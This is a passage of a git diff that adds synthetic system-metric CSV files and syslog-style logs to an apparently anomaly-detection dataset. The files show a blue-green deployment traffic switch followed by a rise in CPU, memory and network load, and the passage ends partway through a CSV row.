+2025-07-02T12:01:25Z,3.47,12.39,0.99,0.01,0.01 +2025-07-02T12:01:30Z,3.40,13.53,0.45,0.10,0.07 +2025-07-02T12:01:35Z,4.09,13.43,0.58,0.07,0.04 +2025-07-02T12:01:40Z,1.96,13.02,0.78,0.10,0.03 +2025-07-02T12:01:45Z,2.23,11.54,0.89,0.07,0.04 +2025-07-02T12:01:50Z,2.47,11.42,0.83,0.08,0.08 +2025-07-02T12:01:55Z,1.36,13.54,0.78,0.05,0.02 +2025-07-02T12:02:00Z,3.34,14.35,0.19,0.09,0.02 +2025-07-02T12:02:05Z,3.55,12.50,0.62,0.04,0.01 +2025-07-02T12:02:10Z,2.09,11.46,0.83,0.08,0.01 +2025-07-02T12:02:15Z,2.76,10.18,0.17,0.06,0.09 +2025-07-02T12:02:20Z,2.18,10.27,0.37,0.08,0.05 +2025-07-02T12:02:25Z,4.46,10.76,0.66,0.08,0.02 +2025-07-02T12:02:30Z,3.35,14.52,0.19,0.05,0.02 +2025-07-02T12:02:35Z,2.54,13.42,0.67,0.03,0.04 +2025-07-02T12:02:40Z,3.81,11.86,0.12,0.07,0.01 +2025-07-02T12:02:45Z,4.18,11.81,0.28,0.02,0.04 +2025-07-02T12:02:50Z,4.28,13.11,0.89,0.09,0.04 +2025-07-02T12:02:55Z,1.62,12.75,0.81,0.03,0.04 +2025-07-02T12:03:00Z,3.68,13.08,0.21,0.08,0.04 +2025-07-02T12:03:05Z,3.74,11.27,0.66,0.02,0.04 +2025-07-02T12:03:10Z,1.74,11.01,0.12,0.03,0.02 +2025-07-02T12:03:15Z,3.64,13.25,0.84,0.05,0.06 +2025-07-02T12:03:20Z,1.43,12.90,0.85,0.05,0.01 +2025-07-02T12:03:25Z,3.91,11.54,0.17,0.07,0.09 +2025-07-02T12:03:30Z,1.90,10.76,0.92,0.06,0.10 +2025-07-02T12:03:35Z,2.84,10.72,0.99,0.03,0.08 +2025-07-02T12:03:40Z,4.26,10.88,0.76,0.09,0.10 +2025-07-02T12:03:45Z,81.90,65.87,21.18,113.07,51.40 +2025-07-02T12:03:50Z,66.48,66.91,25.23,88.14,40.88 +2025-07-02T12:03:55Z,84.04,53.03,40.88,113.67,49.06 +2025-07-02T12:04:00Z,60.30,56.99,28.63,109.17,54.44 +2025-07-02T12:04:05Z,73.59,69.22,31.69,109.08,46.59 +2025-07-02T12:04:10Z,64.76,56.72,39.59,110.67,47.45 +2025-07-02T12:04:15Z,49.56,65.63,31.42,99.64,54.35 +2025-07-02T12:04:20Z,46.38,54.40,22.68,91.85,52.39 +2025-07-02T12:04:25Z,64.17,58.84,28.53,84.76,57.21 +2025-07-02T12:04:30Z,56.55,69.68,27.59,80.47,40.34 +2025-07-02T12:04:35Z,61.99,54.94,36.03,108.11,56.09 +2025-07-02T12:04:40Z,60.05,51.78,36.48,113.93,56.57 +2025-07-02T12:04:45Z,71.49,59.50,38.58,94.71,42.85 +2025-07-02T12:04:50Z,51.43,64.71,32.68,112.67,56.74 +2025-07-02T12:04:55Z,52.84,55.95,48.50,80.62,51.48 +2025-07-02T12:05:00Z,57.44,64.62,40.73,115.08,58.82 +2025-07-02T12:05:05Z,66.24,53.63,38.38,115.31,52.51 +2025-07-02T12:05:10Z,67.80,52.50,33.58,105.98,45.57 +2025-07-02T12:05:15Z,73.94,67.81,30.93,116.16,46.66 +2025-07-02T12:05:20Z,72.47,69.93,30.01,83.24,52.62 +2025-07-02T12:05:25Z,92.02,52.49,49.31,113.99,55.00 +2025-07-02T12:05:30Z,74.97,62.52,43.32,91.03,42.77 +2025-07-02T12:05:35Z,102.19,59.28,20.89,85.47,53.52 +2025-07-02T12:05:40Z,105.19,68.00,32.65,97.77,53.19 +2025-07-02T12:05:45Z,105.19,52.01,38.82,102.73,42.97 +2025-07-02T12:05:50Z,89.09,50.45,47.68,95.04,56.67 +2025-07-02T12:05:55Z,81.62,64.30,42.37,113.63,40.53 +2025-07-02T12:06:00Z,96.64,65.73,48.05,99.88,54.11 +2025-07-02T12:06:05Z,89.41,66.38,23.28,86.30,46.35 +2025-07-02T12:06:10Z,87.19,57.13,33.51,92.91,45.21 +2025-07-02T12:06:15Z,94.72,51.01,27.56,107.41,40.09 +2025-07-02T12:06:20Z,73.01,64.19,23.88,86.96,49.20 +2025-07-02T12:06:25Z,92.64,65.74,33.40,110.90,58.15 +2025-07-02T12:06:30Z,88.95,69.97,40.37,118.93,50.77 +2025-07-02T12:06:35Z,77.45,68.96,33.58,93.15,52.80 +2025-07-02T12:06:40Z,71.38,66.37,33.89,108.65,45.80 +2025-07-02T12:06:45Z,66.50,53.35,37.83,98.80,48.83 +2025-07-02T12:06:50Z,69.43,59.78,28.38,97.02,54.61 +2025-07-02T12:06:55Z,65.78,64.26,23.50,101.74,47.42 +2025-07-02T12:07:00Z,65.52,56.03,43.25,118.88,46.50 +2025-07-02T12:07:05Z,63.43,61.16,47.51,81.62,59.27 +2025-07-02T12:07:10Z,48.51,58.25,34.34,86.84,50.90 +2025-07-02T12:07:15Z,41.18,61.38,22.73,116.02,51.84 +2025-07-02T12:07:20Z,54.26,52.02,25.77,98.65,50.50 +2025-07-02T12:07:25Z,61.52,60.63,23.71,118.96,50.54 diff --git a/norm_dataset/scenario_6/norm_6_10.log b/norm_dataset/scenario_6/norm_6_10.log new file mode 100644 index 0000000000000000000000000000000000000000..c404bd3606da5c39ba646c540d7d305aa0286563 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_10.log @@ -0,0 +1,60 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-green +Jul 02 12:01:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:45 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:20 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:55 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:03:43 haproxy[4821]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green' +Jul 02 12:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:48 jenkins[9876]: INFO: Production traffic switch for deployment #123 successful. +Jul 02 12:03:50 web-app-green[5567]: GET /api/v1/user/202 status=200 OK +Jul 02 12:03:55 web-app-green[5567]: GET /api/v1/user/476 status=200 OK +Jul 02 12:04:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:05 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:04:10 web-app-green[5567]: GET /api/v1/user/353 status=201 OK +Jul 02 12:04:15 web-app-green[5567]: GET /api/v1/user/297 status=201 OK +Jul 02 12:04:20 web-app-green[5567]: GET /api/v1/user/490 status=200 OK +Jul 02 12:04:25 web-app-green[5567]: GET /api/v1/user/93 status=200 OK +Jul 02 12:04:30 web-app-green[5567]: GET /api/v1/user/284 status=200 OK +Jul 02 12:04:35 web-app-green[5567]: GET /api/v1/user/202 status=200 OK +Jul 02 12:04:40 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:04:45 web-app-green[5567]: GET /api/v1/user/314 status=200 OK +Jul 02 12:04:50 web-app-green[5567]: GET /api/v1/user/171 status=200 OK +Jul 02 12:04:55 web-app-green[5567]: GET /api/v1/user/114 status=200 OK +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:05 web-app-green[5567]: GET /api/v1/user/79 status=200 OK +Jul 02 12:05:10 web-app-green[5567]: GET /api/v1/user/373 status=200 OK +Jul 02 12:05:15 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:05:20 web-app-green[5567]: GET /api/v1/user/375 status=204 OK +Jul 02 12:05:25 web-app-green[5567]: GET /api/v1/user/436 status=200 OK +Jul 02 12:05:30 web-app-green[5567]: GET /api/v1/user/279 status=200 OK +Jul 02 12:05:35 web-app-green[5567]: GET /api/v1/user/427 status=200 OK +Jul 02 12:05:40 web-app-green[5567]: GET /api/v1/user/10 status=200 OK +Jul 02 12:05:45 web-app-green[5567]: GET /api/v1/user/258 status=200 OK +Jul 02 12:05:50 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:05:55 web-app-green[5567]: GET /api/v1/user/73 status=200 OK +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:05 web-app-green[5567]: GET /api/v1/user/371 status=200 OK +Jul 02 12:06:10 web-app-green[5567]: GET /api/v1/user/229 status=201 OK +Jul 02 12:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:20 web-app-green[5567]: GET /api/v1/user/471 status=200 OK +Jul 02 12:06:25 web-app-green[5567]: GET /api/v1/health status=200 OK +Jul 02 12:06:30 web-app-green[5567]: GET /api/v1/user/285 status=200 OK +Jul 02 12:06:35 web-app-green[5567]: GET /api/v1/user/292 status=200 OK +Jul 02 12:06:40 web-app-green[5567]: GET /api/v1/user/124 status=200 OK +Jul 02 12:06:45 web-app-green[5567]: GET /api/v1/user/106 status=200 OK +Jul 02 12:06:50 web-app-green[5567]: GET /api/v1/user/375 status=200 OK +Jul 02 12:06:55 web-app-green[5567]: GET /api/v1/user/352 status=200 OK +Jul 02 12:07:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:05 web-app-green[5567]: GET /api/v1/user/186 status=204 OK +Jul 02 12:07:10 web-app-green[5567]: GET /api/v1/user/59 status=204 OK +Jul 02 12:07:15 web-app-green[5567]: GET /api/v1/user/329 status=200 OK +Jul 02 12:07:20 web-app-green[5567]: GET /api/v1/user/96 status=200 OK +Jul 02 12:07:25 web-app-green[5567]: GET /api/v1/user/294 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_11.csv b/norm_dataset/scenario_6/norm_6_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..a461e2adfdfc1206a68d5c6c1a748a62e22dbbfd --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T14:00:00Z,4.491395002364688,11.516595388578938,2.106566706269476,0.18064434679011496,0.11042355379113822 +2025-08-21T14:00:05Z,4.931461503916753,12.016808793045515,2.0277217848599207,0.06112916349015372,0.06761009598378737 +2025-08-21T14:00:10Z,4.546195599262352,8.804617478967614,0.11969601014595255,0.045979035741045594,0.09142044621654677 +2025-08-21T14:00:15Z,5.585090581869838,8.954209511879926,2.1180371757448153,0.115026905958663,0.09170939811770155 +2025-08-21T14:00:20Z,6.043217526105253,7.645935228163749,0.9669621987705452,0.12656224440222485,0.1068897295369942 +2025-08-21T14:00:25Z,3.863524834170927,6.639051867198106,1.492216006181464,0.001957904718003653,0.07437866814875664 +2025-08-21T14:00:30Z,4.3471308885183335,10.052000997116236,1.945530803318605,0.15331400068420212,0.0 +2025-08-21T14:00:35Z,5.705228122769663,7.949356146782952,2.607130950788168,0.10242137693312753,0.04358553288128524 +2025-08-21T14:00:40Z,6.117730375674817,7.555350354326899,1.2040519951790798,0.08896073251682465,0.13327564412516527 +2025-08-21T14:00:45Z,4.033674809690037,10.51415365732888,1.8866058814124045,0.08232807862386354,0.1057398415486218 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file mode 100644 index 0000000000000000000000000000000000000000..b433f9e349d9103de03ac1ff498496d37f66e655 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_11.log @@ -0,0 +1,34 @@ +Aug 21 14:00:00 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:00:00 systemd[1]: Starting daily user cleanup... +Aug 21 14:00:20 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:00:40 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:00:50 systemd[1]: Starting daily user cleanup... +Aug 21 14:01:00 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:01:20 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:01:40 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:01:40 systemd[1]: Starting daily user cleanup... +Aug 21 14:02:00 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:02:20 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:02:30 systemd[1]: Starting daily user cleanup... +Aug 21 14:02:40 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:03:00 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:03:20 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:03:20 systemd[1]: Starting daily user cleanup... +Aug 21 14:03:40 backend-blue[1122]: GET /api/v1/data status=200 OK +Aug 21 14:03:45 jenkins[4567]: INFO: Production traffic switch for deployment #123 successful. +Aug 21 14:03:45 haproxy[890]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 21 14:04:00 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-xyz +Aug 21 14:04:20 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:04:40 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:05:00 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-xyz +Aug 21 14:05:20 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:05:40 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-xyz +Aug 21 14:06:00 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:06:20 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:06:40 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-xyz +Aug 21 14:07:00 backend-green[3344]: GET /api/v1/data status=200 OK +Aug 21 14:07:20 backend-green[3344]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_12.csv b/norm_dataset/scenario_6/norm_6_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..a437049ee4f0ee56485abde4f1d31b0decc1becb --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-22T10:01:45Z,0.89,6.05,0.43,0.02,0.02 +2025-08-22T10:01:50Z,0.12,8.81,0.47,0.08,0.04 +2025-08-22T10:01:55Z,0.57,5.61,0.22,0.05,0.08 +2025-08-22T10:02:00Z,0.18,5.96,0.33,0.03,0.07 +2025-08-22T10:02:05Z,0.72,6.36,0.06,0.09,0.04 +2025-08-22T10:02:10Z,1.00,5.23,0.10,0.01,0.04 +2025-08-22T10:02:15Z,0.62,5.37,0.14,0.08,0.02 +2025-08-22T10:02:20Z,1.45,6.30,0.29,0.01,0.03 +2025-08-22T10:02:25Z,0.22,9.30,0.35,0.07,0.02 +2025-08-22T10:02:30Z,0.33,8.60,0.10,0.09,0.07 +2025-08-22T10:02:35Z,1.38,5.95,0.24,0.04,0.03 +2025-08-22T10:02:40Z,1.02,9.37,0.37,0.10,0.07 +2025-08-22T10:02:45Z,1.37,8.91,0.18,0.04,0.06 +2025-08-22T10:02:50Z,0.72,8.64,0.35,0.03,0.07 +2025-08-22T10:02:55Z,0.88,5.43,0.14,0.08,0.06 +2025-08-22T10:03:00Z,0.60,7.97,0.19,0.06,0.07 +2025-08-22T10:03:05Z,0.70,5.53,0.20,0.04,0.09 +2025-08-22T10:03:10Z,1.35,8.53,0.02,0.03,0.06 +2025-08-22T10:03:15Z,0.75,9.18,0.48,0.09,0.06 +2025-08-22T10:03:20Z,1.41,9.10,0.37,0.03,0.03 +2025-08-22T10:03:25Z,1.45,8.10,0.11,0.03,0.10 +2025-08-22T10:03:30Z,0.27,5.56,0.42,0.02,0.03 +2025-08-22T10:03:35Z,1.01,8.38,0.18,0.06,0.10 +2025-08-22T10:03:40Z,1.31,6.09,0.32,0.03,0.04 +2025-08-22T10:03:45Z,71.97,63.60,48.92,11.25,10.00 +2025-08-22T10:03:50Z,66.28,66.30,38.59,16.11,8.57 +2025-08-22T10:03:55Z,81.50,66.38,40.78,15.25,12.90 +2025-08-22T10:04:00Z,77.22,66.37,49.58,14.88,11.61 +2025-08-22T10:04:05Z,77.03,67.92,45.82,14.29,14.26 +2025-08-22T10:04:10Z,65.87,60.11,46.85,15.89,14.35 +2025-08-22T10:04:15Z,66.18,60.47,35.33,16.61,10.85 +2025-08-22T10:04:20Z,63.28,65.91,41.38,15.91,13.46 +2025-08-22T10:04:25Z,73.76,61.94,52.88,18.78,16.90 +2025-08-22T10:04:30Z,69.30,66.02,35.53,16.76,14.09 +2025-08-22T10:04:35Z,69.07,64.49,48.58,16.77,14.94 +2025-08-22T10:04:40Z,71.85,66.84,46.87,16.34,14.72 +2025-08-22T10:04:45Z,79.49,69.60,41.48,15.07,17.65 +2025-08-22T10:04:50Z,67.89,64.50,53.81,17.08,16.20 +2025-08-22T10:04:55Z,64.67,65.96,39.95,13.81,16.40 +2025-08-22T10:05:00Z,63.68,69.69,38.44,14.61,13.18 +2025-08-22T10:05:05Z,79.13,71.34,44.28,15.74,12.27 +2025-08-22T10:05:10Z,76.70,69.52,44.25,13.57,11.72 +2025-08-22T10:05:15Z,81.23,63.69,52.67,11.83,12.53 +2025-08-22T10:05:20Z,85.77,71.73,47.45,11.59,13.16 +2025-08-22T10:05:25Z,86.13,64.87,52.49,10.36,11.41 +2025-08-22T10:05:30Z,81.68,66.58,35.78,15.30,11.86 +2025-08-22T10:05:35Z,70.23,67.55,50.57,11.59,8.59 +2025-08-22T10:05:40Z,72.41,64.31,39.91,15.30,8.17 +2025-08-22T10:05:45Z,85.72,67.29,43.00,14.38,9.69 +2025-08-22T10:05:50Z,83.75,62.56,40.64,14.12,12.62 +2025-08-22T10:05:55Z,89.23,58.10,51.53,12.38,13.92 +2025-08-22T10:06:00Z,79.04,57.99,38.10,12.51,13.91 +2025-08-22T10:06:05Z,69.77,67.39,41.23,13.26,12.50 +2025-08-22T10:06:10Z,84.52,63.10,39.13,15.75,12.46 +2025-08-22T10:06:15Z,83.13,62.28,42.48,17.20,10.06 +2025-08-22T10:06:20Z,75.13,70.45,35.88,17.79,11.76 +2025-08-22T10:06:25Z,84.12,63.61,43.21,12.67,13.15 +2025-08-22T10:06:30Z,82.48,69.27,36.77,18.74,11.67 +2025-08-22T10:06:35Z,68.88,68.45,51.43,16.06,15.63 +2025-08-22T10:06:40Z,67.37,65.23,40.91,18.78,15.58 +2025-08-22T10:06:45Z,75.87,72.87,45.30,14.76,17.83 +2025-08-22T10:06:50Z,69.53,67.37,51.66,14.27,12.49 +2025-08-22T10:06:55Z,66.55,63.71,37.18,18.66,17.01 +2025-08-22T10:07:00Z,67.93,61.25,42.31,15.02,16.18 +2025-08-22T10:07:05Z,65.57,65.87,52.72,17.86,14.35 +2025-08-22T10:07:10Z,73.65,63.76,40.35,14.58,10.99 +2025-08-22T10:07:15Z,79.64,62.70,37.08,16.21,13.42 +2025-08-22T10:07:20Z,74.30,65.06,36.54,14.90,13.39 +2025-08-22T10:07:25Z,70.04,66.60,48.07,17.04,11.19 diff --git a/norm_dataset/scenario_6/norm_6_12.log b/norm_dataset/scenario_6/norm_6_12.log new file mode 100644 index 0000000000000000000000000000000000000000..1ed111d070f9a579036ccb0eeab86f8bd8fe74c4 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_12.log @@ -0,0 +1,45 @@ +Aug 22 10:00:00 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:00:00 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:00:00 kubelet[2345]: INFO Readiness probe succeeded for pod backend-green-pod +Aug 22 10:00:20 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:00:35 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:00:40 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:00:50 kubelet[2345]: INFO Readiness probe succeeded for pod backend-green-pod +Aug 22 10:01:00 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:01:10 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:01:20 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:01:40 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:01:40 kubelet[2345]: INFO Readiness probe succeeded for pod backend-green-pod +Aug 22 10:01:45 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:02:00 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:02:20 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:02:20 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:02:30 kubelet[2345]: INFO Readiness probe succeeded for pod backend-green-pod +Aug 22 10:02:40 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:02:55 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:03:00 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 kubelet[2345]: INFO Readiness probe succeeded for pod backend-green-pod +Aug 22 10:03:30 backend-green[8877]: INFO Liveness probe succeeded for pod backend-green-pod +Aug 22 10:03:40 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 22 10:03:45 jenkins[4567]: INFO: Starting traffic switch for deployment #123. +Aug 22 10:03:45 haproxy[3030]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:03:45 jenkins[4567]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:04:00 backend-green[8877]: GET /api/v1/user/155 status=200 OK +Aug 22 10:04:15 backend-green[8877]: GET /api/v1/user/128 status=204 No Content +Aug 22 10:04:30 backend-green[8877]: GET /api/v1/user/190 status=204 No Content +Aug 22 10:04:35 backend-green[8877]: POST /api/v1/data status=200 OK +Aug 22 10:04:45 backend-green[8877]: GET /api/v1/user/194 status=200 OK +Aug 22 10:05:00 backend-green[8877]: GET /api/v1/user/122 status=200 OK +Aug 22 10:05:15 backend-green[8877]: GET /api/v1/user/172 status=200 OK +Aug 22 10:05:30 backend-green[8877]: GET /api/v1/user/101 status=200 OK +Aug 22 10:05:30 backend-green[8877]: POST /api/v1/data status=200 OK +Aug 22 10:05:45 backend-green[8877]: GET /api/v1/user/106 status=200 OK +Aug 22 10:06:00 backend-green[8877]: GET /api/v1/user/105 status=200 OK +Aug 22 10:06:15 backend-green[8877]: GET /api/v1/user/141 status=200 OK +Aug 22 10:06:25 backend-green[8877]: POST /api/v1/data status=204 No Content +Aug 22 10:06:30 backend-green[8877]: GET /api/v1/user/107 status=200 OK +Aug 22 10:06:45 backend-green[8877]: GET /api/v1/user/179 status=200 OK +Aug 22 10:07:00 backend-green[8877]: GET /api/v1/user/137 status=200 OK +Aug 22 10:07:15 backend-green[8877]: GET /api/v1/user/170 status=200 OK +Aug 22 10:07:20 backend-green[8877]: POST /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_13.csv b/norm_dataset/scenario_6/norm_6_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..ae2c8e91e557014ed0ce43058c0fdc23d8fa748d --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22 10:00:00+00:00,0.5696156598821746,9.43542406222912,0.9243385861719395,0.032014163336206665,0.029814100719660022 +2025-08-22 10:00:05+00:00,1.3721354706182562,8.440646478521682,0.2627558422339654,0.030793883899338945,0.01067919409513641 +2025-08-22 10:00:10+00:00,0.6350693994379121,7.560170977194092,0.13677635130405685,0.041394431534516066,0.04569756669269631 +2025-08-22 10:00:15+00:00,0.8621105087680307,8.889924306448627,0.975857767325294,0.047761545748580124,0.027419749129174276 +2025-08-22 10:00:20+00:00,0.9330593229709857,5.491980521885721,0.39606538495964394,0.03519914141821866,0.04824789709292961 +2025-08-22 10:00:25+00:00,1.3524329505893051,8.09162995383031,0.8334753522235901,0.025513230335844274,0.017886524763184242 +2025-08-22 10:00:30+00:00,1.0993678158830134,5.79792085003816,0.03972745941845601,0.0382376606945126,0.036851429180124705 +2025-08-22 10:00:35+00:00,0.2775251645967485,6.337970043703563,0.8930786575822774,0.03936268855344696,0.029718296568092314 +2025-08-22 10:00:40+00:00,0.3930713063926762,5.868329113664826,0.24444718497017437,0.04246780453329898,0.010342538911763644 +2025-08-22 10:00:45+00:00,1.1049970850486965,5.882994903838501,0.5403510192533824,0.028507666359326292,0.01467408058581032 +2025-08-22 10:00:50+00:00,1.334509437050209,9.198086629556968,0.7008988788979343,0.0444795185754782,0.011728216246590786 +2025-08-22 10:00:55+00:00,0.24683224720170957,6.669393393925176,0.5972996313993909,0.030245684869486686,0.042666575389282264 +2025-08-22 10:01:00+00:00,0.8032201515439065,8.671948595643848,0.5068328321425585,0.020397393384837884,0.04081938415413459 +2025-08-22 10:01:05+00:00,0.8105871218041701,5.861758346528428,0.5034456640949809,0.03435449974767322,0.03638310619236033 +2025-08-22 10:01:10+00:00,1.114713730187808,9.748534824459531,0.022835832194274874,0.03142271393667946,0.039619941173716075 +2025-08-22 10:01:15+00:00,1.4361712501912942,8.319775077227492,0.1804107530767739,0.029269316952445064,0.031175724457188164 +2025-08-22 10:01:20+00:00,1.1698845837658818,6.861764698683519,0.4958083031828532,0.018708277428464194,0.01580492783916632 +2025-08-22 10:01:25+00:00,1.4549860124719276,9.727141652983622,0.9792328993760814,0.04601429148308231,0.0299953089781061 +2025-08-22 10:01:30+00:00,0.348700334870538,7.904152008804766,0.9113804986819092,0.021947636207264,0.01920852137503462 +2025-08-22 10:01:35+00:00,1.4375456108046687,6.204501989539353,0.051518328292389115,0.03867683691124367,0.017356957119634787 +2025-08-22 10:01:40+00:00,1.1670765105761192,7.060833051333457,0.5854889422069517,0.03204056592696562,0.016747791874035505 +2025-08-22 10:01:45+00:00,0.2494124814187764,9.311216472216026,0.14114406285542058,0.03161216276924287,0.014481054333196148 +2025-08-22 10:01:50+00:00,0.34198822385269184,8.503605739171487,0.4376872269299863,0.04114952096506647,0.04668687828474074 +2025-08-22 10:01:55+00:00,0.7802690053188366,9.3454918786529,0.0283455814062209,0.04495174563871452,0.043444103136808715 +2025-08-22 10:02:00+00:00,1.0914730033328572,6.636737771954227,0.5368487209625945,0.03457232204512989,0.04783335927995669 +2025-08-22 10:02:05+00:00,0.24673780296537964,5.276965432835652,0.09724547848896314,0.010601465940666662,0.044599252395140614 +2025-08-22 10:02:10+00:00,0.8750986700983435,6.207406834885337,0.15434611462211623,0.02679773472801541,0.015282182200774317 +2025-08-22 10:02:15+00:00,0.7368553299898546,5.230949627804836,0.5897853066082497,0.044247510781511165,0.015517460785045265 +2025-08-22 10:02:20+00:00,0.8107007394190462,8.245292790143047,0.0230355653166745,0.024377125323980314,0.03388496572284442 +2025-08-22 10:02:25+00:00,0.6669122048691425,8.430468133001611,0.8338188100699531,0.043394677619343666,0.014587808283336737 +2025-08-22 10:02:30+00:00,0.1559185036112538,6.805970579140738,0.16980980816346314,0.04411179953237386,0.030548251106353452 +2025-08-22 10:02:35+00:00,0.8900975058204637,7.2954559058503845,0.7214188334048858,0.038055898783783224,0.01748387718203665 +2025-08-22 10:02:40+00:00,1.0058542617925117,7.83918484246099,0.9689850480236432,0.024432695904926874,0.039466025106675774 +2025-08-22 10:02:45+00:00,1.3716570367785195,6.5103576444432445,0.2994017751694903,0.032820798157764425,0.045560750876256155 +2025-08-22 10:02:50+00:00,1.0557382535217754,5.305153217241275,0.7321698072276716,0.01018325927415131,0.03933371676806375 +2025-08-22 10:02:55+00:00,1.0139754037766802,5.736950122289601,0.7891940059864719,0.028845002931818707,0.024297310787930675 +2025-08-22 10:03:00+00:00,0.8165080554730499,9.335953983147338,0.9064614052108751,0.033285131325364654,0.015585373905978236 +2025-08-22 10:03:05+00:00,0.7768221259790759,6.737879756764579,0.6392064285815972,0.01435303266932341,0.03209569346535935 +2025-08-22 10:03:10+00:00,0.3534877152452879,6.6984957624951775,0.254478374152892,0.04013537203697723,0.03685099573105611 +2025-08-22 10:03:15+00:00,0.29841110485099076,8.397611623776797,0.47693551998768247,0.01713519478887244,0.020689479964869494 +2025-08-22 10:03:20+00:00,1.353238910205101,9.814058716647043,0.19690727752973392,0.021547106048007587,0.045689927800694384 +2025-08-22 10:03:25+00:00,0.48527188658873366,8.40859015144346,0.49619099678816336,0.02178383389013598,0.032140887214168114 +2025-08-22 10:03:30+00:00,0.7031545276802608,8.80872365798291,0.15420673078048686,0.04666985795968192,0.04859574292170661 +2025-08-22 10:03:35+00:00,0.4412965562460438,6.244688707665088,0.22755489262463668,0.01143653975728303,0.0384541125212036 +2025-08-22 10:03:40+00:00,0.16619957289732873,9.62810705857842,0.719359939255252,0.026446862863856037,0.015866221012553028 +2025-08-22 